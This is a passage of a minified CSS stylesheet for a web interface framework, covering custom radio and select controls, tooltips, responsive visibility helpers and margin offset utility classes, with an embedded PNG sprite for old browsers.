0}.lte-ie8 fieldset[disabled] .form-checkbox-js{background-position:-96px 0}.form-radio-js{width:22px;height:22px;font-size:24px;padding:0;border:0;background-color:#ededed;border-radius:50%;font-family:'TeleIconUi';line-height:1px;position:relative;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-o-user-select:none;user-select:none;-webkit-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-moz-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-ms-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-o-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95)}.form-radio-js.focus,.form-radio-js:focus{outline:0}.form-radio-js.focus{background-color:#b7b7b7}.form-radio-js.hover,.form-radio-js:hover{background-color:#dbdbdb;-webkit-transition-duration:100ms;-moz-transition-duration:100ms;-ms-transition-duration:100ms;-o-transition-duration:100ms;transition-duration:100ms}.form-radio-js.active,.form-radio-js:active{background-color:#c6c6c6}.form-radio-js>.border{color:#b2b2b2;position:absolute;top:10px;left:-1px}.form-radio-js>.border:before{content:'C'}.form-radio-js>.check{font-size:24px;position:absolute;top:10px;left:-1px;color:#e20074}.form-radio-js>.check:before{content:''}.form-radio-js.checked>.check:before{content:'D'}fieldset[disabled] .form-radio-js,.form-radio-js[disabled],.form-radio-js.disabled{cursor:not-allowed;background-color:#f9f9f9}fieldset[disabled] .form-radio-js>.border:before,.form-radio-js[disabled]>.border:before,.form-radio-js.disabled>.border:before{color:#d5d5d5}fieldset[disabled] .form-radio-js>.check:before,.form-radio-js[disabled]>.check:before,.form-radio-js.disabled>.check:before{color:#b7b7b7}.form-radio-set .form-radio-js{vertical-align:middle;float:left;margin-left:-36px;margin-right:12px}.lte-ie8 .form-radio-js{background-color:transparent !important;background-repeat:no-repeat;background-image:url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAHgAAAAYCAYAAAAxkDmIAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2ZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYxIDY0LjE0MDk0OSwgMjAxMC8xMi8wNy0xMDo1NzowMSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDozNzdDRDJBNDk3RTFFMzExODA1Q0VBNjZFMjk1MzI2MiIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDoxODZGRDVCRkUxQTcxMUUzQTBCRkM0RUQzNUQwMDFCRiIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDoxODZGRDVCRUUxQTcxMUUzQTBCRkM0RUQzNUQwMDFCRiIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M1LjEgV2luZG93cyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjM4N0NEMkE0OTdFMUUzMTE4MDVDRUE2NkUyOTUzMjYyIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjM3N0NEMkE0OTdFMUUzMTE4MDVDRUE2NkUyOTUzMjYyIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+JE+ciQAAAjVJREFUeNrsms1Kw0AUhadpl4KrglAQFMTiSvAFiiAIgsWFm3bpA9gnUHyALnyAbty6EApSQfANBFeiCHZVEEILBbcFz+ANxKGTv87tgNwDpw2h+ZJyksmdn9J4PFYJqsEn8BFchXdp/wscwvfwHTyad/BkMlEpWogfhiErfzqdsvIbjQYrX6tkCXgNvoLP4HLKRczgHnwJf2UM2Ak/IWAn/ISAnfATAnbCtwV8CN/CKyqfvuFT+CElYGd8S8DO+JaAnfEtATvjawXGj87hQQG4omMGxLBJ+EvmxwM+hrtqcXWJZUr4HvhB7GV+k6G9z6IysWpGsSB8D/wo4At4VbnTKjGV8P3ydZG1ju9PR3ePWd1tUqHFxqdCi41PhRYbnwotNn4FHy0GeNRUtGLbwvfA1wEfKD7tM1288DPydcDbjCfYUbwSfgq/QkNgXKoy/wHhp/ADJfrX0gGHjPxQ+H75uol+NzrdLvVKRYTwPfH1E/zIeAc9Cd8vXw90bGDjg6mjvUUDHWx8Guhg49NABxufBjrY+PoJHqrf+UTX6iHcIScf4bLyES4rH+Gy8jU7mg/W74A3VWyaap703GQdAUcrDVj4CJiVj4BZ+QiYlQ+Pom6SPlHb4d3TVn+XkQjfEz/eD+7DHQfwDrFMCd8D3xzouIab9IgXaRaaxLBJ+EvmB5Y7qU4v6VnGaq1Hx/Qz/F74S+SXci6b3aP9z4pn2WwufoFls7n4BZbN5uIXWDabi6/1I8AAeDZjVOQRAs0AAAAASUVORK5CYII=\")}.lte-ie8 .form-radio-js.focus,.lte-ie8 .form-radio-js:focus{background-position:-72px 0}.lte-ie8 .form-radio-js.hover,.lte-ie8 .form-radio-js:hover{background-position:-24px 0}.lte-ie8 .form-radio-js.active,.lte-ie8 .form-radio-js:active{background-position:-47px 1px}.lte-ie8 .form-radio-js[disabled],.lte-ie8 .form-radio-js.disabled{background-position:-96px 0}.lte-ie8 fieldset[disabled] .form-radio-js{background-position:-96px 0}.form-select-js{position:relative;cursor:default}.form-select-js .form-select-js-choice{background-color:#ededed;border:1px solid #b2b2b2;border-radius:4px;color:#383838;display:block;font-size:18px;line-height:1.25;padding:6px 11px;width:100%;text-decoration:none;-webkit-appearance:none;text-align:left;-webkit-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-moz-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-ms-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-o-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95)}.form-select-js .form-select-js-choice:before{content:'e';float:right;font-family:'TeleIconUi';font-size:24px;line-height:1px;margin-top:10px;margin-right:-5px}.form-select-js.focus .form-select-js-choice,.form-select-js:focus .form-select-js-choice{background-color:#b7b7b7;outline:0}.form-select-js.hover .form-select-js-choice,.form-select-js:hover .form-select-js-choice{background-color:#dbdbdb;-webkit-transition-duration:100ms;-moz-transition-duration:100ms;-ms-transition-duration:100ms;-o-transition-duration:100ms;transition-duration:100ms}.form-select-js.selected .form-select-js-choice,.form-select-js:selected .form-select-js-choice{background-color:#fff}.form-select-js.active .form-select-js-choice,.form-select-js:active .form-select-js-choice{background-color:#c6c6c6}.form-select-js[aria-disabled=true] .form-select-js-choice{background-color:#f9f9f9;border-color:#d5d5d5;color:#b7b7b7;cursor:not-allowed}.form-select-js-option-scroll-wrapper{display:none;position:fixed;background-color:#fff;border:1px solid #b2b2b2;border-radius:4px;margin-top:6px;margin-bottom:6px;z-index:1030;overflow-y:auto}.in>.form-select-js-option-scroll-wrapper{display:block}.form-select-js-option-scroll-wrapper .form-select-js-options{margin:0;padding:0;list-style:none}.form-select-js-option-scroll-wrapper .form-select-js-options>li{padding:6px 11px;-webkit-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-moz-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-ms-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-o-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);outline:0;cursor:pointer}.form-select-js-option-scroll-wrapper .form-select-js-options>li.focus,.form-select-js-option-scroll-wrapper .form-select-js-options>li:focus{background-color:#d8d8d8}.form-select-js-option-scroll-wrapper .form-select-js-options>li.hover{background-color:#ededed;-webkit-transition-duration:100ms;-moz-transition-duration:100ms;-ms-transition-duration:100ms;-o-transition-duration:100ms;transition-duration:100ms}.form-select-js-option-scroll-wrapper .form-select-js-options>li.active,.form-select-js-option-scroll-wrapper .form-select-js-options>li:active{background-color:#d8d8d8}.form-select-js-option-scroll-wrapper .form-select-js-options>li[aria-disabled=true]{background-color:inherit;color:#eee;cursor:not-allowed}.form-select-js-option-scroll-wrapper .form-select-js-options>li.selected{background-color:#e20074;color:#fff}.form-select-js-option-scroll-wrapper .form-select-js-options>li.selected.focus,.form-select-js-option-scroll-wrapper .form-select-js-options>li.selected:focus{background-color:#bb0060}.form-select-js-option-scroll-wrapper .form-select-js-options>li.selected.hover{background-color:#d0006a}.form-select-js-option-scroll-wrapper .form-select-js-options>li.selected.active,.form-select-js-option-scroll-wrapper .form-select-js-options>li.selected:active{background-color:#bb0060}.form-select-js-choice-input{width:0;position:absolute;outline:0;background:none;opacity:0;clip:rect(0, 0, 0, 0)}.totop{position:fixed;z-index:5000;bottom:-50px;opacity:0;left:0;width:100%;height:1px;transform:translateZ(0);-webkit-transition:all 300ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-moz-transition:all 300ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-o-transition:all 300ms cubic-bezier(0.445, 0.05, 0.55, 0.95);transition:all 300ms cubic-bezier(0.445, 0.05, 0.55, 0.95)}.totop .btn{float:right;position:relative;right:12px;bottom:48px}.totop .btn.mobile{right:24px;bottom:60px}.expandable-hidden{height:0;display:none;visibility:hidden}.expandable-visible{display:block;visibility:visible}.expanable-container{overflow:hidden;display:block;visibility:visible}.qtip{position:absolute;left:-28000px;top:-28000px;display:none;max-width:280px;min-width:50px;direction:ltr;box-shadow:none;padding:0}.qtip-content{position:relative;overflow:hidden;text-align:left;word-wrap:break-word}.qtip-titlebar{position:relative;overflow:hidden;border-width:0 0 1px}.qtip-titlebar+.qtip-content{border-top-width:0 !important}.qtip-close{position:absolute;right:-9px;top:-9px;z-index:11;cursor:pointer;outline:medium none;border:1px solid transparent}.qtip-titlebar .qtip-close{right:4px;top:50%;margin-top:-9px}* html .qtip-titlebar .qtip-close{top:16px}.qtip-titlebar .ui-icon,.qtip-icon .ui-icon{display:block;text-indent:-1000em;direction:ltr}.qtip-icon,.qtip-icon .ui-icon{border-radius:3px;text-decoration:none}.qtip-icon .ui-icon{width:18px;height:14px;line-height:14px;text-align:center;text-indent:0;font:normal bold 10px/13px Tahoma,sans-serif;color:inherit;background:transparent none no-repeat -100em -100em}.qtip-default{background-color:#1e1e1e;background-color:rgba(30,30,30,0.85);color:#fff;border:0 solid transparent;border-radius:4px;font-size:15px}.qtip-default .qtip-titlebar{font-size:18px;font-weight:bold;padding:7px 12px 0;background-color:transparent}.qtip-default .qtip-titlebar .qtip-close{border-color:#aaa;color:#111}.qtip-default .qtip-titlebar .ui-state-hover{border-color:#303030}.qtip-default .qtip-titlebar+.qtip-content{padding-top:0}.qtip-default .qtip-content{padding:9px 12px}.qtip-default .qtip-icon{background:#f1f1f1;border-color:#222;text-shadow:none;color:#777}.qtip .qtip-tip{margin:0 auto;overflow:hidden;z-index:10}x:-o-prefocus,.qtip .qtip-tip{visibility:hidden}.qtip .qtip-tip,.qtip .qtip-tip .qtip-vml,.qtip .qtip-tip canvas{position:absolute;color:#123456;background:transparent;border:0 dashed transparent}.qtip .qtip-tip canvas{top:0;left:0}.qtip .qtip-tip .qtip-vml{behavior:url(#default#VML);display:inline-block;visibility:visible}.clearfix:before,.clearfix:after{content:' ';display:table}.clearfix:after{clear:both}.hidden{display:none !important;visibility:hidden !important}.show{display:inherit !important;visibility:inherit !important}.visible-s{display:none !important;visibility:hidden !important}.visible-s-block{display:none !important;visibility:hidden !important}.visible-s-inline{display:none !important;visibility:hidden !important}.visible-s-inline-block{display:none !important;visibility:hidden !important}.visible-m{display:none !important;visibility:hidden !important}.visible-m-block{display:none !important;visibility:hidden !important}.visible-m-inline{display:none !important;visibility:hidden !important}.visible-m-inline-block{display:none !important;visibility:hidden !important}.visible-xl{display:none !important;visibility:hidden !important}.visible-xl-block{display:none !important;visibility:hidden !important}.visible-xl-inline{display:none !important;visibility:hidden !important}.visible-xl-inline-block{display:none !important;visibility:hidden !important}.visible-l{display:initial !important;visibility:inherit !important}.visible-l-block{display:block !important;visibility:inherit !important}.visible-l-inline{display:inline !important;visibility:inherit !important}.visible-l-inline-block{display:inline-block !important;visibility:inherit !important}.hidden-l{display:none !important;visibility:hidden !important}@media screen and (max-width: 1023px){.visible-s{display:none !important;visibility:hidden !important}.visible-s-block{display:none !important;visibility:hidden !important}.visible-s-inline{display:none !important;visibility:hidden !important}.visible-s-inline-block{display:none !important;visibility:hidden !important}.visible-l{display:none !important;visibility:hidden !important}.visible-l-block{display:none !important;visibility:hidden !important}.visible-l-inline{display:none !important;visibility:hidden !important}.visible-l-inline-block{display:none !important;visibility:hidden !important}.hidden-l{display:initial !important;visibility:inherit !important}.visible-m{display:initial !important;visibility:inherit !important}.visible-m-block{display:block !important;visibility:inherit !important}.visible-m-inline{display:inline !important;visibility:inherit !important}.visible-m-inline-block{display:inline-block !important;visibility:inherit !important}.hidden-m{display:none !important;visibility:hidden !important}}@media screen and (max-width: 639px){.visible-m{display:none !important;visibility:hidden !important}.visible-m-block{display:none !important;visibility:hidden !important}.visible-m-inline{display:none !important;visibility:hidden !important}.visible-m-inline-block{display:none !important;visibility:hidden !important}.hidden-m{display:initial !important;visibility:inherit !important}.visible-s{display:initial !important;visibility:inherit !important}.visible-s-block{display:block !important;visibility:inherit !important}.visible-s-inline{display:inline !important;visibility:inherit !important}.visible-s-inline-block{display:inline-block !important;visibility:inherit !important}.hidden-s{display:none !important;visibility:hidden !important}}@media screen and (min-width: 1500px){.visible-l{display:none !important;visibility:hidden !important}.visible-l-block{display:none !important;visibility:hidden !important}.visible-l-inline{display:none !important;visibility:hidden !important}.visible-l-inline-block{display:none !important;visibility:hidden !important}.hidden-l{display:initial !important;visibility:inherit !important}.visible-xl{display:initial !important;visibility:inherit !important}.visible-xl-block{display:block !important;visibility:inherit !important}.visible-xl-inline{display:inline !important;visibility:inherit !important}.visible-xl-inline-block{display:inline-block !important;visibility:inherit !important}.hidden-xl{display:none !important;visibility:hidden !important}}.pull-left{float:left}.pull-right{float:right}.offset-top-1{margin-top:12px}.offset-right-1{margin-right:12px}.offset-bottom-1{margin-bottom:12px}.offset-left-1{margin-left:12px}.offset-top-2{margin-top:24px}.offset-right-2{margin-right:24px}.offset-bottom-2{margin-bottom:24px}.offset-left-2{margin-left:24px}.offset-top-3{margin-top:36px}.offset-right-3{margin-right:36px}.offset-bottom-3{margin-bottom:36px}.offset-left-3{margin-left:36px}.offset-top-4{margin-top:48px}.offset-right-4{margin-right:48px}.offset-bottom-4{margin-bottom:48px}.offset-left-4{margin-left:48px}.offset-top-5{margin-top:60px}.offset-right-5{margin-right:60px}.offset-bottom-5{margin-bottom:60px}.offset-left-5{margin-left:60px}.offset-top-6{margin-top:72px}.offset-right-6{margin-right:72px}.offset-bottom-6{margin-bottom:72px}.offset-left-6{margin-left:72px}.offset-top-7{margin-top:84px}.offset-right-7{margin-right:84px}.offset-bottom-7{margin-bottom:84px}.offset-left-7{margin-left:84px}.offset-top-8{margin-top:96px}.offset-right-8{margin-right:96px}.offset-bottom-8{margin-bottom:96px}.offset-left-8{margin-left:96px}.offset-top-9{margin-top:108px}.offset-right-9{margin-right:108px}.offset-bottom-9{margin-bottom:108px}.offset-left-9{margin-left:108px}.offset-top-10{margin-top:120px}.offset-right-10{margin-right:120px}.offset-bottom-10{margin-bottom:120px}.offset-left-10{margin-left:120px}.offset-top-11{margin-top:132px}.offset-right-11{margin-right:132px}.offset-bottom-11{margin-bottom:132px}.offset-left-11{margin-left:132px}.offset-top-12{margin-top:144px}.offset-right-12{margin-right:144px}.offset-bottom-12{margin-bottom:144px}.offset-left-12{margin-left:144px}.offset-top-13{margin-top:156px}.offset-right-13{margin-right:156px}.offset-bottom-13{margin-bottom:156px}.offset-left-13{margin-left:156px}.offset-top-14{margin-top:168px}.offset-right-14{margin-right:168px}.offset-bottom-14{margin-bottom:168px}.offset-left-14{margin-left:168px}.offset-top-15{margin-top:180px}.offset-right-15{margin-right:180px}.offset-bottom-15{margin-bottom:180px}.offset-left-15{margin-left:180px}.offset-top-16{margin-top:192px}.offset-right-16{margin-right:192px}.offset-bottom-16{margin-bottom:192px}.offset-left-16{margin-left:192px}.offset-top-17{margin-top:204px}.offset-right-17{margin-right:204px}.offset-bottom-17{margin-bottom:204px}.offset-left-17{margin-left:204px}.offset-top-18{margin-top:216px}.offset-right-18{margin-right:216px}.offset-bottom-18{margin-bottom:216px}.offset-left-18{margin-left:216px}.offset-l-top-1{margin-top:12px}.offset-l-right-1{margin-right:12px}.offset-l-bottom-1{margin-bottom:12px}.offset-l-left-1{margin-left:12px}.offset-l-top-2{margin-top:24px}.offset-l-right-2{margin-right:24px}.offset-l-bottom-2{margin-bottom:24px}.offset-l-left-2{margin-left:24px}.offset-l-top-3{margin-top:36px}.offset-l-right-3{margin-right:36px}.offset-l-bottom-3{margin-bottom:36px}.offset-l-left-3{margin-left:36px}.offset-l-top-4{margin-top:48px}.offset-l-right-4{margin-right:48px}.offset-l-bottom-4{margin-bottom:48px}.offset-l-left-4{margin-left:48px}.offset-l-top-5{margin-top:60px}.offset-l-right-5{margin-right:60px}.offset-l-bottom-5{margin-bottom:60px}.offset-l-left-5{margin-left:60px}.offset-l-top-6{margin-top:72px}.offset-l-right-6{margin-right:72px}.offset-l-bottom-6{margin-bottom:72px}.offset-l-left-6{margin-left:72px}.offset-l-top-7{margin-top:84px}.offset-l-right-7{margin-right:84px}.offset-l-bottom-7{margin-bottom:84px}.offset-l-left-7{margin-left:84px}.offset-l-top-8{margin-top:96px}.offset-l-right-8{margin-right:96px}.offset-l-bottom-8{margin-bottom:96px}.offset-l-left-8{margin-left:96px}.offset-l-top-9{margin-top:108px}.offset-l-right-9{margin-right:108px}.offset-l-bottom-9{margin-bottom:108px}.offset-l-left-9{margin-left:108px}.offset-l-top-10{margin-top:120px}.offset-l-right-10{margin-right:120px}.offset-l-bottom-10{margin-bottom:120px}.offset-l-left-10{margin-left:120px}.offset-l-top-11{margin-top:132px}.offset-l-right-11{margin-right:132px}.offset-l-bottom-11{margin-bottom:132px}.offset-l-left-11{margin-left:132px}.offset-l-top-12{margin-top:144px}.offset-l-right-12{margin-right:144px}.offset-l-bottom-12{margin-bottom:144px}.offset-l-left-12{margin-left:144px}.offset-l-top-13{margin-top:156px}.offset-l-right-13{margin-right:156px}.offset-l-bottom-13{margin-bottom:156px}.offset-l-left-13{margin-left:156px}.offset-l-top-14{margin-top:168px}.offset-l-right-14{margin-right:168px}.offset-l-bottom-14{margin-bottom:168px}.offset-l-left-14{margin-left:168px}.offset-l-top-15{margin-top:180px}.offset-l-right-15{margin-right:180px}.offset-l-bottom-15{margin-bottom:180px}.offset-l-left-15{margin-left:180px}.offset-l-top-16{margin-top:192px}.offset-l-right-16{margin-right:192px}.offset-l-bottom-16{margin-bottom:192px}.offset-l-left-16{margin-left:192px}.offset-l-top-17{margin-top:204px}.offset-l-right-17{margin-right:204px}.offset-l-bottom-17{margin-bottom:204px}.offset-l-left-17{margin-left:204px}.offset-l-top-18{margin-top:216px}.offset-l-right-18{margin-right:216px}.offset-l-bottom-18{margin-bottom:216px}.offset-l-left-18{margin-left:216px}@media screen and (max-width: 1023px){.offset-m-top-1{margin-top:12px}.offset-m-right-1{margin-right:12px}.offset-m-bottom-1{margin-bottom:12px}.offset-m-left-1{margin-left:12px}.offset-m-top-2{margin-top:24px}.offset-m-right-2{margin-right:24px}.offset-m-bottom-2{margin-bottom:24px}.offset-m-left-2{margin-left:24px}.offset-m-top-3{margin-top:36px}.offset-m-right-3{margin-right:36px}.offset-m-bottom-3{margin-bottom:36px}.offset-m-left-3{margin-left:36px}.offset-m-top-4{margin-top:48px}.offset-m-right-4{margin-right:48px}.offset-m-bottom-4{margin-bottom:48px}.offset-m-left-4{margin-left:48px}.offset-m-top-5{margin-top:60px}.offset-m-right-5{margin-right:60px}.offset-m-bottom-5{margin-bottom:60px}.offset-m-left-5{margin-left:60px}.offset-m-top-6{margin-top:72px}.offset-m-right-6{margin-right:72px}.offset-m-bottom-6{margin-bottom:72px}.offset-m-left-6{margin-left:72px}.offset-m-top-7{margin-top:84px}.offset-m-right-7{margin-right:84px}.offset-m-bottom-7{margin-bottom:84px}.offset-m-left-7{margin-left:84px}.offset-m-top-8{margin-top:96px}.offset-m-right-8{margin-right:96px}.offset-m-bottom-8{margin-bottom:96px}.offset-m-left-8{margin-left:96px}.offset-m-top-9{margin-top:108px}.offset-m-right-9{margin-right:108px}.offset-m-bottom-9{margin-bottom:108px}.offset-m-left-9{margin-left:108px}.offset-m-top-10{margin-top:120px}.offset-m-right-10{margin-right:120px}.offset-m-bottom-10{margin-bottom:120px}.offset-m-left-10{margin-left:120px}.offset-m-top-11{margin-top:132px}.offset-m-right-11{margin-right:132px}.offset-m-bottom-11{margin-bottom:132px}.offset-m-left-11{margin-left:132px}.offset-m-top-12{margin-top:144px}.offset-m-right-12{margin-right:144px}.offset-m-bottom-12{margin-bottom:144px}.offset-m-left-12{margin-left:144px}.offset-m-top-13{margin-top:156px}.offset-m-right-13{margin-right:156px}.offset-m-bottom-13{margin-bottom:156px}.offset-m-left-13{margin-left:156px}.offset-m-top-14{margin-top:168px}.offset-m-right-14{margin-right:168px}.offset-m-bottom-14{margin-bottom:168px}.offset-m-left-14{margin-left:168px}.offset-m-top-15{margin-top:180px}.offset-m-right-15{margin-right:180px}.offset-m-bottom-15{margin-bottom:180px}.offset-m-left-15{margin-left:180px}.offset-m-top-16{margin-top:192px}.offset-m-right-16{margin-right:192px}.offset-m-bottom-16{margin-bottom:192px}.offset-m-left-16{margin-left:192px}.offset-m-top-17{margin-top:204px}.offset-m-right-17{margin-right:204px}.offset-m-bottom-17{margin-bottom:204px}.offset-m-left-17{margin-left:204px}.offset-m-top-18{margin-top:216px}.offset-m-right-18{margin-right:216px}.offset-m-bottom-18{margin-bottom:216px}.offset-m-left-18{margin-left:216px}}@media screen and (max-width: 639px){.offset-s-top-1{margin-top:12px}.offset-s-right-1{margin-right:12px}.offset-s-bottom-1{margin-bottom:12px}.offset-s-left-1{margin-left:12px}.offset-s-top-2{margin-top:24px}.offset-s-right-2{margin-right:24px}.offset-s-bottom-2{margin-bottom:24px}.offset-s-left-2{margin-left:24px}.offset-s-top-3{margin-top:36px}.offset-s-right-3{margin-right:36px}.offset-s-bottom-3{margin-bottom:36px}.offset-s-left-3{margin-left:36px}.offset-s-top-4{margin-top:48px}.offset-s-right-4{margin-right:48px}.offset-s-bottom-4{margin-bottom:48px}.offset-s-left-4{margin-left:48px}.offset-s-top-5{margin-top:60px}.offset-s-right-5{margin-right:60px}.offset-s-bottom-5{margin-bottom:60px}.offset-s-left-5{margin-left:60px}.offset-s-top-6{margin-top:72px}.offset-s-right-6{margin-right:72px}.offset-s-bottom-6{margin-bottom:72px}.offset-s-left-6{margin-left:72px}.offset-s-top-7{margin-top:84px}.offset-s-right-7{margin-right:84px}.offset-s-bottom-7{margin-bottom:84px}.offset-s-left-7{margin-left:84px}.offset-s-top-8{margin-top:96px}.offset-s-right-8{margin-right:96px}.offset-s-bottom-8{margin-bottom:96px}.offset-s-left-8{margin-left:96px}.offset-s-top-9{margin-top:108px}.offset-s-right-9{margin-right:108px}.offset-s-bottom-9{margin-bottom:108px}.offset-s-left-9{margin-left:108px}.offset-s-top-10{margin-top:120px}.offset-s-right-10{margin-right:120px}.offset-s-bottom-10{margin-bottom:120px}.offset-s-left-10{margin-left:120px}.offset-s-top-11{margin-top:132px}.offset-s-right-11{margin-right:132px}.offset-s-bottom-11{margin-bottom:132px}.offset-s-left-11{margin-left:132px}.offset-s-top-12{margin-top:144px}.offset-s-right-12{margin-right:144px}.offset-s-bottom-12{margin-bottom:144px}.offset-s-left-12{margin-left:144px}.offset-s-top-13{margin-top:156px}.offset-s-right-13{margin-right:156px}.offset-s-bottom-13{margin-bottom:156px}.offset-s-left-13{margin-left:156px}.offset-s-top-14{margin-top:168px}.offset-s-right-14{margin-right:168px}.offset-s-bottom-14{margin-bottom:168px}.offset-s-left-14{margin-left:168px}.offset-s-top-15{margin-top:180px}.offset-s-right-15{margin-right:180px}.offset-s-bottom-15{margin-bottom:180px}.offset-s-left-15{margin-left:180px}.offset-s-top-16{margin-top:192px}.offset-s-right-16{margin-right:192px}.offset-s-bottom-16{margin-bottom:192px}.offset-s-left-16{margin-left:192px}.offset-s-top-17{margin-top:204px}.offset-s-right-17{margin-right:204px}.offset-s-bottom-17{margin-bottom:204px}.offset-s-left-17{margin-left:204px}.offset-s-top-18{margin-top:216px}.offset-s-right-18{margin-right:216px}.offset-s-bottom-18{margin-bottom:216px}.offset-s-left-18{margin-left:216px}}@media screen and (min-width: 1500px){.offset-xl-top-1{margin-top:12px}.offset-xl-right-1{margin-right:12px}.offset-xl-bottom-1{margin-bottom:12px}.offset-xl-left-1{margin-left:12px}.offset-xl-top-2{margin-top:24px}.offset-xl-right-2{margin-right:24px}.offset-xl-bottom-2{margin-bottom:24px}.offset-xl-left-2{margin-left:24px}.offset-xl-top-3{margin-top:36px}.offset-xl-right-3{margin-right:36px}.offset-xl-bottom-3{margin-bottom:36px}.offset-xl-left-3{margin-left:36px}.offset-xl-top-4{margin-top:48px}.offset-xl-right-4{margin-right:48px}.offset-xl-bottom-4{margin-bottom:48px}.offset-xl-left-4{margin-left:48px}.offset-xl-top-5{margin-top:60px}.offset-xl-right-5{margin-right:60px}.offset-xl-bottom-5{margin-bottom:60px}.offset-xl-left-5{margin-left:60px}.offset-xl-top-6{margin-top:72px}.offset-xl-right-6{margin-right:72px}.offset-xl-bottom-6{margin-bottom:72px}.offset-xl-left-6{margin-left:72px}.offset-xl-top-7{margin-top:84px}.offset-xl-right-7{margin-right:84px}.offset-xl-bottom-7{margin-bottom:84px}.offset-xl-left-7{margin-left:84px}.offset-xl-top-8{margin-top:96px}.offset-xl-right-8{margin-right:96px}.offset-xl-bottom-8{margin-bottom:96px}.offset-xl-left-8{margin-left:96px}.offset-xl-top-9{margin-top:108px}.offset-xl-right-9{margin-right:108px}.offset-xl-bottom-9{margin-bottom:108px}.offset-xl-left-9{margin-left:108px}.offset-xl-top-10{margin-top:120px}.offset-xl-right-10{margin-right:120px}.offset-xl-bottom-10{margin-bottom:120px}.offset-xl-left-10{margin-left:120px}.offset-xl-top-11{margin-top:132px}.offset-xl-right-11{margin-right:132px}.offset-xl-bottom-11{margin-bottom:132px}.offset-xl-left-11{margin-left:132px}.offset-xl-top-12{margin-top:144px}.offset-xl-right-12{margin-right:144px}.offset-xl-bottom-12{margin-bottom:144px}.offset-xl-left-12{margin-left:144px}.offset-xl-top-13{margin-top:156px}.offset-xl-right-13{margin-right:156px}.offset-xl-bottom-13{margin-bottom:156px}.offset-xl-left-13{margin-left:156px}.offset-xl-top-14{margin-top:168px}.offset-xl-right-14{margin-right:168px}.offset-xl-bottom-14{margin-bottom:168px}.offset-xl-left-14{margin-left:168px}.offset-xl-top-15{margin-top:180px}.offset-xl-right-15{margin-right:180px}.offset-xl-bottom-15{margin-bottom:180px}.offset-xl-left-15{margin-left:180px}.offset-xl-top-16{margin-top:192px}.offset-xl-right-16{margin-right:192px}.offset-xl-bottom-16{margin-bottom:192px}.offset-xl-left-16{margin-left:192px}.offset-xl-top-17{margin-top:204px}.offset-xl-right-17{margin-right:204px}.offset-xl-bottom-17{margin-bottom:204px}.offset-xl-left-17{margin-left:204px}.offset-xl-top-18{margin-top:216px}.offset-xl-right-18{margin-right:216px}.offset-xl-bottom-18{margin-bottom:216px}.offset-xl-left-18{margin-left:216px}}.h-ctr{display:table;margin-left:auto;margin-right:auto}.v-ctr{display:table;height:100%}.v-ctr>div{display:table-cell;vertical-align:middle}.cont-sep-1,.cont-sep-2,.cont-sep-3,.cont-sep-4,.cont-sep-5,.cont-sep-6,.cont-sep-7,.cont-sep-8,.cont-sep-9,.cont-sep-10,.cont-sep-11,.cont-sep-12,.cont-sep-13,.cont-sep-14,.cont-sep-15,.cont-sep-16,.cont-sep-17,.cont-sep-18{position:relative}.cont-sep-1>*,.cont-sep-2>*,.cont-sep-3>*,.cont-sep-4>*,.cont-sep-5>*,.cont-sep-6>*,.cont-sep-7>*,.cont-sep-8>*,.cont-sep-9>*,.cont-sep-10>*,.cont-sep-11>*,.cont-sep-12>*,.cont-sep-13>*,.cont-sep-14>*,.cont-sep-15>*,.cont-sep-16>*,.cont-sep-17>*,.cont-sep-18>*{display:block;position:absolute;bottom:0;width:100%}.cont-sep-1{height:12px}.cont-sep-2{height:24px}.cont-sep-3{height:36px}.cont-sep-4{height:48px}.cont-sep-5{height:60px}.cont-sep-6{height:72px}.cont-sep-7{height:84px}.cont-sep-8{height:96px}